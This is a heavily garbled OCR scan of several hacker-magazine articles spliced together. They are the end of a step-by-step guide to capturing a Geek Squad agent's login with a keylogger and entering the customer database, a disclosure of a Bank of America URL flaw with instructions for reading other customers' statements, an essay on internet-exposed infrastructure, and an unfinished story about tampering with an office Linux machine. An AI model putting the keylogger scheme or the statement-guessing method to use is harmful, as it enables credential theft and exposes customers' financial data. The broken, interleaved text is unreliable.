ticl l s . The usemilme wil l be something likl' 1 2 3456 ;  Agents ' dccess to  the  huge database of customer 
the password wil l be il case-sensitive com bin�l - information .  
tion of  letters dnd numbers. The  Agent wil l pu l l  For a company dt  the  cutting edge of  new 
up your name .l Ild ,l(cou n t  on the Ceek Squad technology, Best Buy is setting their Ceek Squdd 
system, which is cal led "ST5" and which is ab l (' to brand up for m,ljor troub le  There ' s  huge risk that 
take credit cards via a shopping Clft feature, print any of their over 2 000 fie ld  agents might enter 
receipts, add charges, remove charge'S, and so on . their credentia ls  into a compromised computer. 
Your receipt wil l print out, and the Agent wil l log There ' s  a l so the risk of abuse. At al l  times, any 
out and c l ose the browser. Agent, Best Buy manager, or cal l center phone 

Fifth Step:  With the agent  gone, you shou l d  first jockey h ds access to an extravaga nt amount of 
change you r  WPA key to something e l se.  You ' ve customer data. I am no whist le b lower or disgru n-
now got the Age n t ' s  STS login a n d  password . t ied employee, but corporations like Best Buy are 

Than ks to your kf'y logger, you now have reactiona ry. They on ly  act on beh,l lf  of customers 
login c redentia l s  for 5T5, giving you access to or employees when they get in trou b le .  When a l l  
Ceek Squad ' s  entire customer database o f  l iter- other methods fai l ,  I turn to the com mu nity! 
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Ba n k  of America Webs ite F law Al l ows 
Read i ng of Other  Customers '  Statem ents 

by malpelo93@gmai l .com 

There is a secu rity flaw in Rank of Ameri­
ca ' s  website which a l l ows any R a n k  of America 
customer to view a nother customer 's  credit card 
statements u nder certain circumstances. B a n k  of 
America was notified of this secu rity issue in a 
l etter, but they rep l ied that they a re u nwil ling to 
change their website, and the secu rity ho le  sti l l 
exists as of the writing of this a rtic l e. 

O n l y  B a n k  of America credit card holders, 
not deposit account holders, a re affected by this 
secu rity ho le. The flaw re lies on two things: first, 
the section of the ba n k ' s  website that disp lays 
customer statements retrieves the statements by 
using an unencrypted U R L  containing the fu l l  
c redit card account n u mber. Second, the same 
U R L  used to retrieve one customer ' s  statement 
can be used by a nother Bank of America customer 
to view that same statement and others from the 
first customer ' s  account. 

The U R L  for viewing a statement in the "state­
ments" section of the Bank  of America website is 
constructed as fo l lows: 
h t t p s : / / c c s s . banko f am c r i c a . c o m / NASApp / 

-Bo f A c e  / G e t  f: s  ta t cmen t ,' do c  T d - 9 () 5 4 XXXXXX 

-'XXXXXXXXS TAT F.MENT S D o c umcn t Ar c h  i v c $;  

- 9 0 5 4 XXXXXXXXXXXXXXO I I 0 2 1J 1J 8 0 1 4 6 & 

- d o c Da t c = � 0 0 8  0 0 ·  1 0 & d o c Typc = PD J' &  

.... 1 s s u e r -� 9 0 ,y d own I o a d =  fa I s o  
T h e  " 5 4 XXXXXXXXXXXXXX" kept in the web 

browser ' s  history, where it can be seen by futu re 
users of the same computer. This is where the 
ability to read other customers ' statements comes 
into p l ay. 

Ry copying the above LJ R L  t o  t h e  c l ipbocmJ, 
then logging in to a R,mk of America account for 
which one has a legitimate login a nd password, 

one is ab le  to paste the LJ R L  into the browser 
address bar. The statement wil l then be p u l l ed 
from the server without any va l idation of which 
customer is logged in at the time.  Conceivab ly, 
an attacker cou ld put any valid Ban k of America 
credit card n u m ber into the LJ RL  and pu l l  that 
customer ' s  statement; however, he wou l d  need 
to a l so have the correct statement date (shown 
as 0 1 1 02008 and 2 008-00- 1 0 in the above LJ RL )  
as wel l  as the j -digit random n u m ber at the end 
of  the acccount  n u mber and date code, which is 
346 in the above example. The issuer code, 90, 
which is put in from of the account n u mber, does 
not seem to change, a l though this has o n l y  been 
verified with a handfu l of persona l  and fa mily 
accounts which this writer has tested. I t  wou l d  
b e  possib le  t o  guess t h e  3 -digit ra ndom code 
after enough tries. I f  an attacker a l ready has the 
actua l  U RL from a customer, however, then he 
can simp ly  use that U R L, since the 3 -digit code 
appears to be assigned to the statement and not to 
the login session. 

The fact that the fu l l  accou nt n u mber is stored 
and transmitted so c lear ly was reported to B a n k  of 
America about six months ago. Their rep ly  stated, 
"The account n u m ber on you r  computer ' s  U R L  is 
ineffective without the secu rity code and expira­
tion date that is printed on ly  on you r  credit car(L  
Rank of America monitors the accou nts on a dai ly  
basis to protect you from fra ud . . .  You a re not held 
liab le  for fraudulent  use of the account. Due to 
system constraints, we are unab le  to remove the 
account n u mber from you r  LJ R L  fie ld." 

I t  wou l d  seem that Bank of America does 
not ca re about the privacy or sec u rity of their 
customers ' c redit card statements enough to fix 
this critica l  f law in their website. 

OADCAST FO R ALL TH E WORLD 

Wed n e s d a y s ,  1 9 0 0 - 2 0 0 0  ET, 
W BAI 9 9 . 5  FM , N ew Yo rk C i ty 

n d  at h ttp : //www . 2 6 0 0 . com/offt h e h o o k  ove r , , 

u s  d u ri n g  t h e  show at  + 1  2 1 2  2 0 9  29 0 0 .  
E m a i l  oth @ 2 6 0 0 . co m  with  yo u r  co m m e nts . 
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by Porter Payne ment PC:s,  and  ant iv irus management servers. 
Of cou rse, s i nce IT  managers have lower 

I was l i sten i n g  to a recent ed i t ion of 2600 ' s  eth ics  than the average th i rd-wor ld  d i ctator, w e  
week ly  aud io  program Off The Hook, and I m ust a l so be a b l e  to mon itor the usage of each 
hea rd the host, Emmanue l  Goldste i n ,  ask ing  the pc, i n c l ud i n g  any web brows i n g  that m ight be 
quest ion,  "Why does th i s  computer need to be done from that Pc:. The fact that mon itor ing  
connected to  the i nternet?" a n  employee ' s  web brows ing  i s  ta ntamount  to 

Ah. An exce l l ent quest ion,  and  one that is menta l rape i s  not an  issue. In the U n i ted States 
more com p l i cated and convo l u ted than one and  some other countr ies, a nyth i n g  done on 
m ight th i n k  at fi rst. bus i ness computers i s  subj ect to mon i tor ing  by 

I used to work at an  u n named e lectr ica l the IT department. You have no r ights to pr ivacy 
ut i l i ty. Much of my experience comes from that  on work computers, per iod.  Whether t h i s  i s  r ight 
and  from prev ious work experience as a network or wrong i s  i m mater i a l ;  i t  i s  the l aw. 
adm i n i strator and engi neer. Because of a l l  th i s, computers that have no 

So, why a re computers that seemi ng ly  have bus i ness be i n g  on I nternet-con nected networks 
no need for i nternet access connected to the qu i te i nevitab ly  end u p  on them.  
i n ternet?  Most  peop l e  wou l d  be surpr i sed to know that 

The short a n swer: Laz i ness and exped iency. e lectr i ca l  gr ids, water d i st r ibut ion systems, and  
Even  as a sec u r i ty-consc ious network a d m i n - many other  cr i t ica l i nfrastructu re e lements a re 

i strator, I was i nevitab ly  confronted wi th s i tua- connected, one way or a nother, to the i n ternet .  
t ions l i ke th is  one:  Someone wou ld  te l l  me, "We If they a ren 't connected to the i nternet, they a re 
have th i s  computer that needs to p r i nt labe ls  for connected to modems for d i a l - i n  access. Because 
v i s i tors to the ut i l i ty." of modems '  l ow bandwidth,  we a re see ing  lower 

"Ok," I ' d  t h i n k .  "Sou nds l i ke a standa lone ut i l izat ion of modems as t ime goes o n .  Sh ivas 
app l icat ion ."  and  other  RAS devices have a l l  but  d r ied up, as 

Then, I ' d be to ld ,  "We wou l d  a l so l i ke to be the app l icat ions that used to req u i re modems a re 
a b l e  to m a i nta i n  a l i st of v i s i tors," and  sudden ly now uti l i z i ng i nternet con nect iv i ty. 
the system needed to have a database. Yes, i t  i s  i n deed poss i b l e  to breach these 

F i n a l l y, I ' d  be asked, "Cou l d  we a l so have systems with  rootk i ts, buffer overflows, or other 
access to that database from other locat ions on tr icks of the trade; to i nsta l l  VNC or other remote 
the LAN and p u b l i s h  the i nformat ion on the access software and thus open and c l ose f lood-
i nterna I web server?"  Th i s  means that I ' d  need to gates or ga in control of e lectr ica I grids;  to com pro-
give the system network access and easy access m i se med ica l  computers with d iagnostic i mages; 
for a nyone, espec i a l l y  an  i ntruder. or to do other terr i fy i n g  t h i ngs. The potent i a l  for 

Because network access a l so i nevita b l y  m a s s  mayhem and mass ive l oss o f  l i fe cannot b e  
mea ns i nternet access, we n o w  have t h e  prover- overstated . The U n i ted States and  many other 
b i a l  h i ghway to he l l .  Th i s  mach i n e  cou l d  have countr ies have a t ick i n g  t ime bomb of mass ive 
been sta nda lone, if o n l y  the corporate manage- proport ions w i th i n  the IT i n frastructure they have 
ment n i tw its had a l l owed i t  to be that way. grown add icted to hav i n g  access to. 

Other reasons  for connect i n g  mach i nes to To date, I have not seen ,lny major catastro-
a network i n c l ude access to network pr i nters; phes rel ated to computer i ntrus ions .  By major 
access to the mac h i ne for management reasons catastrophes, I mean events that wou ld  make 
such remote access or support, ant iv i rus updates, natura l  catastrophes l i ke Katr i na,  ea rthqua kes, 
and the l i ke; or the need for the computer to be and tsu n a m i s  seern smd l l .  I attr ibute t h i s  to 
ab le  to access or store fi les on fi l e  servers. i n c red i b l y  good l uck and to the bet that the 

So, beGlUSe I nformation Tech no logy depa rt- peop le  thai  w,mi to harrn us  have noi speni any 
ments a re poor ly  managed, a n d  workers and s ign i ficant  effort, or they have not had the menta l 
adrn i n i strators a l ready have an overabu ndance of acu ity io perceive the poss i b i l i ty of what they 
d a i l y  work and a rt i fi c i a l  and rea l IT  emergellc ies, cou l d  accom p l i s h .  
i t  i s  exped ient t o  be a b l e  t o  access a l l  computers, Even though better secu r i ty i s  a l ways an 
workstat ions, pr i nters, a l a rm systems, and so forth opt ion,  budgeta ry reasons usua l l y  prevent it  from 
fre'''" net"'Nk management conso l es, IT depart- be i ng p u rsued.  VLANs do not orov ide su bsta n-
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t ive secur i ty, as switch secur i ty is usua l l y  q ues­
t ionab le .  S N M P  is a secur i ty n ightmare, a n d  
most switches i n  u s e  can be compro m i sed w i t h  
the typ i c a l  p u b l i c  a n d  pr ivate S N M P  com m u n ity 
str i ngs. VLANs and switch port ass ign ments can 
then be reass i gned rather eas i l y. So, if  VLANs 
a re not the answer, a re separate networks a 
poss i b i l i ty? 

Somet i mes. But  you know what happens.  
I n ev i tab ly there i s  some "bus i ness need," usua l ly 
i mag inary, that necessitates the connect ion of the 
secu re network to the main product ion,  i nternet­
access i b l e  network, thus  m a k i n g  the "secu re 
network" i nsecure. The connect ion of secu re to 
prod uct ion networks can  be done through a fi re­
wa l l ,  but t h i s  is sti l l  substa nt i a l l y  less sec u re than 
" not connected ." The l amentat ions and death 
gasps of the network adm i n i strator a re for naught; 
i f  someth i ng can be connected with copper or 
f iber, i t  w i l l  eventua l ly be connected . 

O n l y  i n  rare cases, i n  compa n i es or govern­
ment orga n i zat ions that h ave some grasp of secu­
r i ty, do we end u p  with computer fac i l i t i es that 
are sec u re from the i nternet. Th i s  i s  the except ion  
rather than the norm.  

I n  B ruce Wi l l i s ' s  mov i e  Live Free or Die Hard, 
Bruce Wi l l i s  and the k i d  hacker h ave to phys i ­
ca l ly go  to  e l ectr ica l  tra n s m i ss ion  a n d  generat ion 
centers to get access to the power gr ids .  Th is ,  
unfortu nate ly, i s  wishfu l  th i n k i ng .  

The i n nocent quest ion posed by the orr 
The Hook host has  very rea l  a n d  demonstrab ly  
da ngerous ram i ficat ions that  a re preva lent 
throughout the i nfrastructure of the U n i ted States 
a n d  the wor ld .  

The  best answer for why a computer i s  
connected to the i n ternet i s  because i t  can be 
done .  

The way to m it igate t h i s  prob lem i s  to  have 
good secur i ty personne l  that a re a l lowed to 
perform the i r  jobs.  Th is  means hav i ng a secur i ty 
pol i cy that is adhered to u s i n g  secur i ty devices 
that prov ide a s i gn if icant level of l ayered secu­
r i ty, u s i n g  secur i ty devices that  a re themsel ves 
secu re, u s i n g  a pp l i cat ions a n d  operat i n g  systems 
that a re secu re, and hav i ng secu re v i rus protec­
t ion,  w h i c h  may in fact not be poss i b l e .  The best 
sec u r i ty pol i cy for any mach i n e  i s  for i t  to h ave 
no network connect ion,  no modem, no soft­
ware updates, a n d  no ant iv i rus  softwa re, and for 
a l l  i n put to be entered by a l i tt l e  o l d  lady from 
Kentuc ky. Why no ant iv i rus software? Because, 
as some of my referenced mate r i a l  and other 
i nternet-access i b l e  mater ia l  po int  out, ant iv i rus 
software i s  ra mpant with i nsecu re cod i n g  that 
can itself be a n  attack  vector for compro m i s i n g  a 
computer. So, scan the m ac h i ne wi th  an a nt iv i rus  
program when it  i s  set  up,  but don ' t  i nsta l l  any 
anti v i rus  software. I ndeed, after the i n i t i a l  i nsta l l ,  
don't i nsta l l  a n y  add i t iona l  software. If  i t  works, 
don't f ix i t; i f  i t ' s  secu re, don ' t  booger i t  u p  or 
r isk a v i rus i nfect ion by add i ng new software. 
Remove the floppy dr ive, and put g l u e  from a 
g l u e  gun i nto the network, modem, a n d  U S B  
ports. W h y  t h e  I i tt le o ld  l ady from Kentucky? S h e  
does n ' t  f i t  the hacker profi le,  but  a re we rea l l y  
sure about her?  I th i n k  I saw a copy o f  2 600 a n d  
a Phrack pr i ntout i ns ide  h e r  handbag, a l o n g  with  
a U S B  t h u m bdr ive labe led " rootk i ts ."  

Some of these secur i ty measu res a re not 
w i th i n  the grasp of some bus i ness env i ronments, 
but some of them a re poss i b le, wi th  the most 
fu ndamenta l and most cr i t ica l  p i ece be ing  the 
secur i ty pol i cy. 

What is the best rec ipe  for a good secur i ty 
pol i cy ?  That is the top i c  for a nother a rt i c l e .  

Even i f  the ent i ty respons i b l e  for m a i n ­
ta i n i ng t h a t  gr id uses someth i n g  approach i n g  a 
reasonable  secur i ty po l icy, they are connected, 
presumably  over a secu re network (yea h,  r ight), 
to computers m a i n ta i n i ng downstream d istr ibu­
t ion gr ids  that  a re not  as  secu re. You a re o n l y  as 
sec u re as the wea kest l i n k  in you r  armor, a n d  
sma l l er d i str ibut ion g r i d s  a re the Ach i l les '  heel  
of e lectr ica l  gr id secur i ty. Re lated to t h i s, SCADA 
(System Control And Data Acqu i s i t ion) ,  w h i c h  
i s  used t o  control e l ectr i ca l  and hyd ro fac i l i t i es, 
has i ts own set of secur i ty prob lems.  A fac i l i ty i n  
Idaho, m a i nta i ned by the Department of Energy, 
performs research i nto cybersecu r ity i ssues that 
perta i n  to SCADA systems.  They perform demon­
strations for i n terested, Govern ment-approved 
part ies to show how SCADA systems can become 
comprom ised.  References 

A concentrated attack  on SCADA, EMS, • "Ant i -v i rus protection gets worse," 

telephone, traff ic contro l ,  E91 1 ,  and  I n ternet 
h t t p : / / www . c h a n n e l r e g i s t e r . c o . u k /  

� 2 0 0 7 / 1 2 / 2 1 / d w i n d l i n g _ a n t i v i r u s  
serv i ces i s  the cu rrent-day cyber-armageddon .  � -pr o t e c t  i o n l  

I n dustry representatives rant that  such a scenar io  • "Un ix  adm i n  tr ied to axe power grid," 
i s  beyond the bounds of poss i b i l i ty, but  we know h t t p : / / www . i n f o w o r l d . c o m / c g  i. - b i n  / 

better, don't we? � r e d i  I e c  t ?  s o u r c e  = rs s & u r l  = h t l p : 1 /  

I won ' t  spe l l  out, a nymore than I a l ready �www . i n f owo r l d . c om / a r t i c l e / 0 7 ! 1 2 ! 1 4 / 

h ave, how such a n ightmare scenar io  cou l d  be � U n i x - a d m i n - t r i e d - t o - a x e - p o w e r -

ach i eved, but the astute reader shou l d  be a b l e  � g r i. d_l . h trn l  

to read between the l i nes, to Google  or W i k i -
• "Haxdoors o f  t h e  Kaspersky Ant iv i rus 6/7," 

h t t p : / / r o o t k i t . c o m / n e w s r e a d  
ped i a  a nyth i ng they need to know more about, � . php ? news i d = 7 7 8 

and to arr ive at a conc l us ion s i m i l a r  to m i ne.  A l l  • "Computers ' I nsecure Secur i ty," 
of the typ i c a l  attac k  vectors are i n  p l ay :  i nternet h t t p : / / w w w . b u s i n e s s w e e k . c o m  / 

access, secur i ty v u l nera b i l i t ies i n  computers a n d  � t e c h n o l o g y  / c o n  t e n  t / j u n 2  0 0 5  I 
networks, and sar i 'l l  engi neer ing. � t c 2 0 0 5 0 6 1 7 _1 6 1 3 _ t c 0 2 4  . h tm 

Summer 2008 -------------------- Page 57 



by Peter Wrenshall  " It 's  none of my bus i ness," I thought.  But 
as I say, in those days I was f ixed on the idea 

I enjoy read i n g  you r  magaz i ne, and though of work i n g  with computers, and  i t  wasn ' t  long 
am not a computer h acker or cracker, I before my cur ios i ty got the better of me.  I went 

thought you m ight be i nterested to hear about i nto the office, and crouched down to take a 
how l ance near ly got arrested for hack i ng and look .  There was  a man ufactu rer ' s  deca l on the  
ended up  work i n g  as a secur i ty consu ltant.  front of  the mach i n e  but  noth i n g  e l se.  I l ooked 

I t  h appened wh i le I was c l erk ing  for one of a round for some tag or labe l  to te l l  me what 
the big h a u l age firms. The job i nvo l ved trac ing  mach i n e  i t  was  and,  more to  the poi nt, what 
de l ivery trucks, photocopy i ng documents, and  i t  was  do ing  a lone  i n  a deserted room, but the  
de l iver i ng ma i l ,  even though t h i s  was  twenty mach i n e  was as  bare as the room it  was i n .  
years after t h e  experts a n nou nced t h e  arr iva l  A network cab le  came out o f  t h e  back and 
of  the paper less office. I t  was  hass l e  from n i ne went i nto a socket on the wa l l , so I figu red 
to five. From the fi rst day, I wa nted to q u it, but that the computer was sti l l  in use as  part of 
hav i ng l eft school two years ea r l ier  at s i xteen, someone ' s  not-qu i te-dead project, or that it  
I d i d n ' t  exact l y  h ave many ca reer cho ices. I had s i m p l y  been forgotten about. The no i sy 
was study i n g  at n ight schoo l to become a hard d i s k  wh i rred, d i ed, and  then w h i rred 
computer network engi neer, but I was th ree ilgil i n, ilS if the milch i n e  WilS do ing  some work 
exams away from be i ng q U il l i f ied.  in  the backgrou nd,  or had become stuck i n  

The o n l y  good th i ng  about the job was the i nfi n i te- loop that 1 960s sc ience f ict ion 
that I was free to wander a round the ent i re foreto l d .  I l ooked at the screen fi l l ed with 
b u i l d i ng with the mai l  cart. With i n  a few days error messages. W hatever program had been 
of sta rt i ng, I had found  a deserted part of the ru n n i ng, i t  had we l l  and tru l y  fa l l en over, s i nce 
b u i l d i ng, the east wing of the s i xth f loor, where the command- l i ne was ava i l ab l e, leav i ng the 
I cou l d  go and  s l ack off, and look down at a l l  mach i n e  tota l l y open .  
the rat racers ru n n i ng to  and  from the i r  i nter- The  cu rsor b l i n ked at me ,  as i f  to  say, 
est i ng, h i gh-pay i ng jobs.  Even better, I cou l d  " P l eilse h e l p  me, for I a m  broken ." 
get some cou rsework done. I ' ve a l ways l i ked computers, and they ' ve 

On the Fr i day of my fi rst week, I h i d  a p i l e  a l ways l i ked me, s o  I was h appy t o  reboot t h i s  
o f  study notes u nder a stack o f  ma i l and  ro l l ed mach i n e  to a l low i t  to conti nue  the l abors the 
the m a i l  cart u p  to the s i xth f loor. I wa l ked past anc ients had set for i t .  B ut fi rst I thought I ' d  
the s ign  show i n g  what the sp i ffy conference h ave a l i tt l e  l ook, you know, j ust to see what 
su ite they were b u i l d i ng up  there wou l d  look operat ing  system i t  was ru n n i ng. 
l i ke when i t  was fi n i shed, and I went i nto one Bend i n g  low to type on the keyboard, I 
of the empty offices. I opened my notes, and opened a few fi les and  soon found  out the 
sta rted read ing  about IP  vers ion  s ix .  I had n ' t  mach i n e  was ru n n i ng a n  o l d  vers ion  o f  L i nux .  
been study i ng long when  I noti ced a persi stent I was j u st cons ider ing whether I shou l d  open 
tapp ing  sou n d .  I l ooked around,  but there was the password fi l e, to add my own user accou nt, 
noth i n g  in the room, wh ich  was bare .  There when I heard the voice of doom beh i n d  me.  
wasn ' t  even any ca rpet. I went out i nto the "What a re you doing?" i t  demanded. 
corr idor and peered i nto the office next door. I typed the exi t command and h i t  enter. 
On the concrete floor, a l most h idden from After the screen had c leared, I turned to see 
v iew, was an anc ient computer workstat ion,  some guy i n  h is  fort ies, wear ing  overa l l s .  
wh ich  l ooked l i ke i t  had been bu i l t  not  long " Noth i ng," I sa id ,  wea k l y. I went to  leave, 
after the d i nosau rs had d i ed out. I cou l d  see but he was a hefty guy, and  he b l ocked the 
that error messages had fi l l ed the screen .  doorway. "Wa i t  there," he  sa id .  He p u l l ed out 
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a mob i l e  phone and d i a led .  " N o, defi n i te l y  not .  I was j u st looki ng." 
"He l lo?"  he growl ed i nto the h a ndset. To "Yes, but  I don ' t  get why wou l d  you be 

cut a long story short, the room soon fi l l ed i nterested i n  it, a nyway. What b u s i n ess is it of 
with peop le, most of them wear i ng  su its that yours?"  
wou l d  h ave ta ken a quarter of my year ly  sa l a ry I shrugged. " I  wondered what had gone 
to buy. The o n l y  one to i ntroduce h i mse lf  was wrong with i t .  The screen was fu l l  of errors ." I 
B arker. He was, he sa id ,  the IT manager. stopped ta l k i ng, hop ing  that it was exp l anat ion 

"Who a re you, and  what were you doing enough.  When that d i d n ' t  get any response 
with that computer?" he sa id .  from Barker, I cont i n ued.  

" I ' m  Kar l  R i p l ey. I noticed the mach i n e  had " I ' m  tak i ng a n ight-school cou rse i n  
c rashed," I rep l i ed, avo id i ng any reference to computers, and  there ' s  a tro u b l eshooti ng 
my be ing a mai l  c l erk on my fi rst week .  mod u l e .  I thought  that  I m ight recog n i ze the 

"Ta m per i ng with computers i s  a n  offense ."  errors." 
"Cr i m i n a l  offense," added the a d m i n ,  j u st Barker l ooked arou nd at the s u i ts, to see 

in t ime for the arr iv i ng  secu r i ty guard to hear it. how they took my exp l a nat ion .  Then he l ooked 
There was a l u l l  in the cross-questio n i ng wh i l e  me over, a n d  I rea l i zed that he j ust wa nted to 
everybody seemed to be wa i t ing  for me to get r id  of me.  L i ke most IT managers, he prob­
say someth ing .  A cou p l e  of M i crosoft m i n utes ably had twe l ve hours of work to fit i nto an  
went  by, but  I cou l d n ' t  fi nd a nyth i n g  to  say. e i ght-ho u r  workday. 
My bra i n  was s l ow l y  fi l l i n g  w i th i m ages of me " Look," he sa id ,  " I ' m  goi n g  to give you the 
push i n g  a m a i l  cart a round the Cedar Creek benefit of the doubt t h i s  t i me, because it 's you r  
Federa l Correct iona l  Fac i l i ty. I wondered what fi rst week here, and  you obv ious ly  don ' t  know 
k i n d  of j a i l  t ime does hack ing carr ied.  the l oca l  ru l es .  B ut from now on,  th is  sect ion 

" I  was n ' t  tamperi ng, j ust look ing .  I know I i s  off- l i m its .  And if you see any prob lems with 
shou l d  h ave phoned the he l pdesk, but  i t ' s  my a ny other  computers, then do u s  a l l  a favor and  
fi rst week here, and I forgot the n u m ber." Actu- j u st r ing the he l pdesk. Don ' t  sta nd l ook i ng at 
a l l y, I had never known it .  The o n l y  comput ing  the screen ,  because a round here . . .  " 
that genera l c lerks were a l lowed to do was I fe l t  the tens ion  i n  my body va n i sh ,  and  I 
computi ng the square root of noth i ng.  was j u st about to sta rt breath i n g  aga i n  when 

"Th i s  k id  cou l d  have been hack i ng," the guy in overa l l s,  the one who had fou n d  
the adm i n  sa id .  " I  th i n k  w e  shou l d  ca l l  t h e  m e ,  i nterrupted Barker. 
po l i ce." My stomach d i d  a somersau l t .  Obvi- " I  tol d  you, h e  was n ' t  j u st l ook i ng at the 
ous ly, th i s  crufty- Iook i n g  workstat ion he ld  screen," h e  sa id .  "He  was  typ i n g  on the keys." 
some sort of commerc i a l  data, l i ke the payro l l  I ' d forgotten h e  was there .  The who le  room 
deta i l s  for the l ast ten years or the fi l e  on tumed to look at h i m, and Barker g l a red at 
who won Office C lerk of the Month . I l ooked h i m, as i f  h e  was an noyed at h i m  for mak ing  
a round at the crowd . Nobody objected to  the  a b ig  dea l  out  of  noth i ng.  The  j a n itor g l a red 
admi n ' s  suggest ion .  I saw the secu r i ty guard back. Maybe, I thought, he a l so used the s i xth 
move s l ight ly  to h is  l eft, b locking the ex i t  a floor for s l ack i ng  off or brew i n g  moonsh i n e  or 
l i tt l e  more, and I fe l t  the fi rst d rop of sweat someth i ng, and I had i ntruded on h i s  tu rf .  
run down my forehead .  O n l y  Ba rker looked "I saw h i m," h e  added defens ive ly. Barker 
u nconcerned. tu rned back to me. His eyebrows rose as he 

"Let ' s  not  overreact," he  sa id .  "Some- wa ited for a n  a nswer. There was no sense 
body wa l ks i nto a n  open office and l ooks at a deny i ng it .  
computer, i t ' s  h a rd l y  a fe l ony." "I o n l y  c l ea red the screen," I sa i d .  "I was 

"Th i s  a rea is c losed off," the adm i n  sa i d  go i n g  t o  ca l l  i t  i n  t o  the he l pdesk when I 
defens ive ly. " Nobody is a l lowed u p  here." got back downsta i rs ."  That was la me, and I 

Ba rker tu rned back to me, and sa id ,  "What cr i nged w h i l e  say i ng it .  Ba rker looked more 
a re you doing in t h i s  sect ion,  a nyway?" d i sappoi nted than  a n noyed. 

" I  push my cart through here," I sa id ,  a "Can you check what he typed on that 
bit breat h less l y. " I t ' s  shorter than goi n g  back mach i ne?"  h e  asked the adm i n .  
t h rough t h e  other sect ion tw ice." " Poss i b l y,"  was the adm i n ' s  rep l y. He 

I t  a l l  sou nded i n nocent enough,  which in a sounded unsu re .  That was a good s ign .  I n  
way i t  was. Barker l et out a weary breath .  m y  exper ience, i t ' s  rare to fi nd  a n  adm i n is-

" I  don ' t  have t ime for t h i s,"  h e  sa id  to trator who is as good with L i n u x  as he is with 
no one i n  part i c u l a r. He l ooked at me, and Microsoft Wi ndows. I t ' s  l i ke fi n d i ng someone 
then l ooked at the mach i ne, then back at me who can wr i te wi th  the i r  l eft and  r igh t  hands  
aga i n .  equa l l y  wel l .  Most peop le  I knew used e i ther 

"You d i d n ' t  do a nyth i n g  with  that Windows or L i n u x .  I was hoping the a d m i n  
mach i ne?"  sta n d i n g  at the workstat ion fe l l  i nto the 
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W i n dows category. perhaps wonderi ng if what I had sa id  made 
" I ' l l  check the h i story l og," he sa id .  My sense. I was n ' t  s u re myse lf .  My L i n u x  sk i l l s 

hope of h i m  not know i n g  L i n u x  va n i shed, were n ot exact ly  b r i l l i a nt, but I was hop ing 
and  my hea rt sa n k .  The h i story l og on L i n u x  that they were better t h e  a d m i n -from-he l l ' s .  
i s  the fi l e  that  keeps track of every command "Who a re you ?"  B a rker sa id  sudden ly. Then 
typed, and I knew that it wou l d  have a l i st of he reph rased it. "I mea n ,  you don ' t  work in my 
my recent act iv i ty. As I say, I a m  not much  department.  What  i s  i t  you  do here ? "  
of a h acker, and  h a d n ' t  bothered t o  de lete " I  work i n  t h e  ma i l room," I c roa ked, 
a nyth i n g  to cover my tracks .  I had n ' t expected wh ich  had an even better effect on the su i ts 
there was goi n g  to be an i nvestigat ion .  Tha n k  t h a n  t h e  h i story-fi l e  remark .  B a rker l ooked 
god I h a d n ' t  c reated a user account .  " H acker a rou nd, c l ea r ly  puzz led .  The ad m i n  l ooked at 
creates backdoor to stea l commerc i a l  secrets," me, and I knew he knew he cou l d n ' t  back up 
the head l i nes wou l d  h ave sa i d .  h i s  accusati o n .  I a l so knew that I ' d  m a d e  a n  

T h e  ad m i n  logged on t o  t h e  mach i ne, and  I enemy forever. Office enemies, though,  I can 
watched h im open the h i story fi l e  for the root l ive wi th .  
user. " You  ca n ' t  l et h i m  go," the adm i n  sa id .  

"He ' s  been l ook i n g  i n  the process d i rec- "Those commands m u st h ave come from 
tory," he  sa id .  He l ooked up with an outraged h i m ." 
express ion l i ke a TV lawyer, o n l y  less s i n cere. "You don ' t  have any evidence," sa id  

"What does that  mea n ? "  snapped Barker. B a rker. 
" H e  was proba b ly  try i ng  to fi nd out  what " H e  was seen typ i n g  by a witness.  It is a 

serv ices a re ava i l a b le ."  c r i m i n a l  offense to access a computer that  you 
Ba rker tu rned back to me,  assu m i ng the a re not author ized to use.  I f  you don ' t  ca l l  the 

fu l l  author i ty of h i s  offi c i a l  ro le .  pol i ce, I wi l L" H e  u n c l i pped a mob i l e  phone  
" D i d  you  type those commands ? "  he from h is  belt .  He  was go i ng to use it .  I had 

demanded, jabbing h is  f inger  at the scree n .  a nother v is ion ,  one of my career be ing over. 
U nt i l  then,  I had wa nted to be honest, and N ot o n l y  that, but  these peop le  were from 

i f  i t  had been j ust Ba rker o n  h i s  own ,  I ' d  have one of the b iggest compa n i es i n  the country. 
to l d  h i m  what I had done.  Even though what They d i d n ' t  dea l in d i mes; they were used to 
I ' d  done was n ' t  i tself  a cr i me, I knew that work ing  with m i l l i ons  of do l l a rs da i l y. When 
someone somewhere cou l d  probab l y  make asked to assess the damages to thei r su ppos­
a th ree-act cou rtroom drama out of i t .  They ' d  ed ly-hacked network, they ' d  h ave no tro u b l e  
l awyer u p  and  hang me o u t  t o  d ry, I knew it .  cook i n g  u p  some seven-figure sum to put i n  
S o  I l i ed.  front of a j udge. I got a h o l l ow fee l i ng in my 

"Wh ich commands?"  I sa id  i n nocent ly. The stomach .  I knew that even if  I d i d n 't  get j a i l ed, 
adm i n  he l pfu l l y stepped away from bei ng i n  I ' d  have a hack ing  rap o n  m y  record, a n d  then 
front of the screen,  and I made a pretense of nobody was ever go i ng to h i re me to work 
l ook ing  at the evidence.  There on the screen in computers ever aga i n .  I was go i ng to be a 
were the commands I had u sed to i nspect the fifty-year-o l d  genera l c lerk, sti l l  l iv i ng with my 
mach i ne .  But  I soon rea l i zed that in his eager- parents, hop ing  to h ave a heart attack  j ust so I 
ness to prove h i s  poi nt, the ad m i n  had made a d i d n ' t  h ave to push that cart a ro u nd an office 
m i stake. N ot o n l y  was he n ot a L i n u x  guru,  he I h ated . 
was n ' t  much  of a n  admin ,  e i ther. We stood i n  s i lence for a moment, the 

" N o," I sa id,  fi rm l y. "That j ust tel l s  you what adm i n  poi sed to d i a l .  I cou l d  see the secu­
the l a st commands were. I t  does n ' t  te l l  you r i ty guard ten s i ng h i s  h ands, gett i ng  ready for 
who typed them, or when they were typed . It  actio n .  In the s i l ence, I heard the mach i n e ' s  
cou l d  h ave been a nybody. And  i t  cou l d  have no i sy hard d i s k  sp i n up aga i n ,  and start w h i r-
been weeks ago." r i ng, and I l ooked at the scree n .  And then I 

I thought I saw a h i nt of a s m i l e  appear had my second bra i n  wave of the morn i ng.  
o n  Barker ' s  face, which was q u ick ly  rep l aced " It 's  not a cr i m i n a l  offense," I sa i d .  " N ot on 
with  h is offi c i a l  express i o n .  I had impressed that computer." 
the s u i ts, too. A few ra i sed expectant eyebrows I wa ited for B arker to say someth i ng, but  
